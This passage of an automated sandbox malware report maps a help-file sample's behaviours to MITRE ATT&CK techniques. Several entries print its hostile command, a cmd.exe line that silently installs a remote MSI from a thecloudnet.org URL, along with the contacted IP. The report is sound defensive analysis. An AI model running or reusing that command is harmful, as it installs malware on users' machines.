Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Decrypted SSL network traffic"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typicaally used to find a resource in a module","description":"\"hh.exe\" called \"FindResourceA\" with parameter \"8192\" - (UID: 00000000-00003864)\n \"hh.exe\" called \"FindResourceA\" with parameter \"8193\" - (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"hh.exe\" called \"LoadResource\" (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Detected MsiExec process execution","description":"Process \"msiexec.exe\" with commandline \"msiexec -c /Q /i https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi\" (UID: 00000000-00003932)","origin":"Monitored Target","mitre_attack_id":"T1218.007","relevance":2,"id":"target-152","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003932-45750-8-FFF77460\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001876-65361-8-FFF77460","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"hh.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"hh.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"hh.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"hh.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00003864)\n \"msiexec.exe\" called \"OpenMutexW\" with parameter \"Global\\_MSIExecute\" - (UID: 00000000-00001876)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00003932-45750-6-FFF6AE1C\n GetVersion@KERNEL32.DLL at 00000000-00003932-45750-18-FFF6B650\n GetVersionExW@KERNEL32.DLL at 00000000-00003932-45750-4-FFF6B6A4\n GetVersion@KERNEL32.DLL at 00000000-00001876-65361-18-FFF6B650\n GetVersionExW@KERNEL32.DLL at 00000000-00001876-65361-6-FFF6AE1C\n GetVersionExW@KERNEL32.DLL at 00000000-00001876-65361-4-FFF6B6A4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.DLL at 00000000-00003932-45750-6-FFF6AE1C\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00001876-65361-6-FFF6AE1C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$25","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp eax, esp\" and \"je FFF6B059h\" at 00000000-00003932-45750-6-FFF6AE1C\n Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp eax, esi\" and \"mov dword ptr [rsp+00000110h], eax\" at 00000000-00003932-45750-4-FFF6B6A4\n Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp eax, esp\" and \"je FFF6B059h\" at 00000000-00001876-65361-6-FFF6AE1C\n Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp eax, esi\" and \"mov dword ptr [rsp+00000110h], eax\" at 00000000-00001876-65361-4-FFF6B6A4","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$26","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"msiexec.exe\" queries volume information of \"C:\\\" at 00000000-00003932-00000046-11067159\n \"msiexec.exe\" queries volume information of \"C:\\\" at 00000000-00001876-00000046-8904020","origin":"API Call","mitre_attack_id":"T1120","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"hh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"msiexec.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"msiexec.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")\n \"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\")\n \"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"hh.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to identify Internet Explorer version from registry","description":"\"hh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\"; Key: \"VERSION\"; Value: \"\")","origin":"Registry Access","relevance":3,"id":"registry-103","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$27","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$28","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$29","origin":"API Call","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"hh.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\cmd.exe\" /c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32\\msiex*) DO msiexec -c /Q /i https:/\" - (UID: 00000000-00003864)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"msiexec -c /Q /i https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi \" - (UID: 00000000-00003460)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"timeout /t 60\" - (UID: 00000000-00003460)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.86.122.181:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00003932-45750-1-FFF77438\n Sleep@KERNEL32.DLL at 00000000-00003932-45750-3-FFF76DA0\n Sleep@KERNEL32.DLL at 00000000-00001876-65361-1-FFF77438\n Sleep@KERNEL32.DLL at 00000000-00001876-65361-3-FFF76DA0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00003932-45750-6-FFF6AE1C\n LoadLibraryW@KERNEL32.DLL at 00000000-00003932-45750-4-FFF6B6A4\n LoadLibraryW@KERNEL32.DLL at 00000000-00001876-65361-6-FFF6AE1C\n LoadLibraryW@KERNEL32.DLL at 00000000-00001876-65361-4-FFF6B6A4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"\n \"!IECompat!Mutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MSILOG_dce8206e1d9149eGOL.5056ISM_pmeT_lacoL_ataDppA_GSghuzn_sresU_:C\"\n \"Global\\_MSIExecute\"\n \"Global\\MSILOG_dce8206e1d9149eGOL.5056ISM_pmeT_lacoL_ataDppA_GSghuzn_sresU_:C\"\n \"\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\BaseNamedObjects\\Local\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511\"\n \"\\BaseNamedObjects\\Local\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"Tar3EB2.tmp\" as clean (type is \"data\")\n Antivirus vendors marked dropped file \"MSI649C.tmp\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"MSI645C.tmp\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"\"FlsGetValue\" (Indicator: \"FlsGetValue\")\n \"LocaleNameToLCID\" (Indicator: \"LocaleNameToLCID\")\n \"FlsSetValue\" (Indicator: \"FlsSetValue\")\n \"ThemeApiConnectionRequest\" (Indicator: \"ThemeApiConnectionRequest\")\n \"open\" (Indicator: \"open\")","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"\"GET /0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agen%WINDIR%\\Installer\nHost: www.thecloudnet.org\" (Indicator: \"user-agent: \")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$2a","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Possibly use system binaries","description":"Observed system executable string:\"%WINDIR%\\System32\\cmd.exe\" [Source: 00000000-00003864-00000BEC-9295117948]\n Observed system executable string:\"\"%WINDIR%\\System32\\cmd.exe\" /c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32\\msiex*) DO msiexec -c /Q /i https:/\" [Source: 00000000-00003864-00000BEC-9295117948]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00000000-00003460) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"\n Process \"cmd.exe\" (UID: 00000000-00003460) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"msiexec.exe\" (UID: 00000000-00001876) was launched with modified environment variables: \"Path, LOCALAPPDATA, USERDOMAIN, TEMP, APPDATA, USERPROFILE, TMP\"\n Process \"msiexec.exe\" (UID: 00000000-00001876) was launched with missing environment variables: \"LOGONSERVER, PROMPT, HOMEPATH, HOMEDRIVE\"\n Process \"timeout.exe\" (UID: 00000000-00003852) was launched with new environment variables: \"LOGONSERVER=\"\\\\HAPUBWS-PC\", PROMPT=\"$P$G\", HOMEPATH=\"\\Users\\nzuhgSG\", HOMEDRIVE=\"C:\"\"\n Process \"timeout.exe\" (UID: 00000000-00003852) was launched with modified environment variables: \"Path, LOCALAPPDATA, USERDOMAIN, TEMP, APPDATA, USERPROFILE, TMP\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"www.thecloudnet.org\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Reads configuration files","description":"\"hh.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"References url in command line","description":"Process \"cmd.exe\" with commandline \"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32\\msiex*) DO msiexec -c /Q /i https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi & timeout /t 60\" (UID: 00000000-00003460)\n Process \"msiexec.exe\" with commandline \"msiexec -c /Q /i https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi\" (UID: 00000000-00003932)","origin":"Monitored Target","id":"target-174","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32\\msiex*) DO msiexec -c /Q /i https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi & timeout /t 60\" on 2022-12-20.19:12:36.522","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"hh.exe\" searching for class \"MS_AutodialMonitor\"\n \"hh.exe\" searching for class \"MS_WebCheckMonitor\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32 ...\" (UID: 00000000-00003460)\n Spawned process \"msiexec.exe\" with commandline \"msiexec -c /Q /i https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHC ...\" (UID: 00000000-00003932)\n Spawned process \"msiexec.exe\" with commandline \"/V\" (UID: 00000000-00001876)\n Spawned process \"timeout.exe\" with commandline \"timeout /t 60\" (UID: 00000000-00003852)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"cmd.exe\" with commandline \"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32 ...\" (UID: 00000000-00003460)\n Spawned process \"msiexec.exe\" with commandline \"msiexec -c /Q /i https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHC ...\" (UID: 00000000-00003932)\n Spawned process \"msiexec.exe\" with commandline \"/V\" (UID: 00000000-00001876)\n Spawned process \"timeout.exe\" with commandline \"timeout /t 60\" (UID: 00000000-00003852)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"hh.exe\" connecting to \"\\ThemeApiPort\"\n \"msiexec.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$2b","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$2c","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Network Related","name":"Decrypted SSL network traffic","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1573","relevance":3,"id":"string-102","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"www.thecloudnet.org\"\n Pattern match: \"https://www.thecloudnet.org/%username%.msi%WINDIR%\\system32[%UserDomain]\\[LogonUser]1|300|1|1|0|1|0|2.0+*c@E!GAOWaca.G'0.4`+?3%&/0X\"\n Pattern match: \"http://t2.symcb.com0U002U+0\"\n Pattern match: \"www.thecloudne+t.org/%use+rname%-a+$randomstr+1.msi\"\n Pattern match: \"C.JgU/0$\"\n Pattern match: \"crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]+Q0O0M+0Ahttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0U00\"\n Pattern match: \"crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0\"\n Pattern match: \"www.microsoft.com0\"\n Pattern match: \"https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"\"HTTPS traffic to 172.86.122.181 on port 443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"hh.exe\" called \"CreateCompatibleBitmap\" (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"hh.exe\" called \"GetKeyState\"","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"hh.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00003864)\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00003460)\n \"msiexec.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00001876)\n \"timeout.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00003852)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"cmd.exe\" called \"FindNextFileW\" (UID: 00000000-00003460)\n \"msiexec.exe\" called \"FindFirstFileW\" (UID: 00000000-00001876)\n \"msiexec.exe\" called \"FindNextFileW\" (UID: 00000000-00001876)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Touches files in program files directory","description":"\"hh.exe\" trying to touch file \"C:\\Program Files\\Microsoft Office\\Office14\\OUTLLIB.DLL\"\n \"hh.exe\" trying to touch file \"C:\\Program Files\\Microsoft Office\\Office14\\OUTLLIB.DLL.DLL\"\n \"hh.exe\" trying to touch file \"%COMMONPROGRAMFILES%\\Microsoft Shared\\VGX\\VGX.dll\"\n \"hh.exe\" trying to touch file \"%COMMONPROGRAMFILES%\\Microsoft Shared\\VGX\\ATL.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to access non-existent files","description":"$2f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"msiexec.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"hh.exe\" opened \"\\Device\\KsecDD\"\n \"msiexec.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"hh.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"hh.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"hh.dat\" - Location: [%APPDATA%\\Microsoft\\HTML Help\\hh.dat]- [targetUID: 00000000-00003864]","origin":"Binary File","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle for the specified module","description":"GetModuleHandleW@KERNEL32.DLL at 00000000-00003932-45750-18-FFF6B650\n GetModuleHandleW@KERNEL32.DLL at 00000000-00001876-65361-18-FFF6B650","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.DLL at 00000000-00003932-45750-1-FFF77438\n GetStartupInfoW@KERNEL32.DLL at 00000000-00001876-65361-1-FFF77438","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries the installation properties of user installed products","description":"\"msiexec.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\BF6347E6BB3BA354F875B26898124788\\INSTALLPROPERTIES\")","origin":"Registry Access","relevance":10,"id":"registry-71","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"17/61 Antivirus vendors marked sample as malicious (27% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"General","name":"Attempts to abuse msiexec.exe for proxy execution","description":"Process \"msiexec.exe\" with commandline \"msiexec -c /Q /i 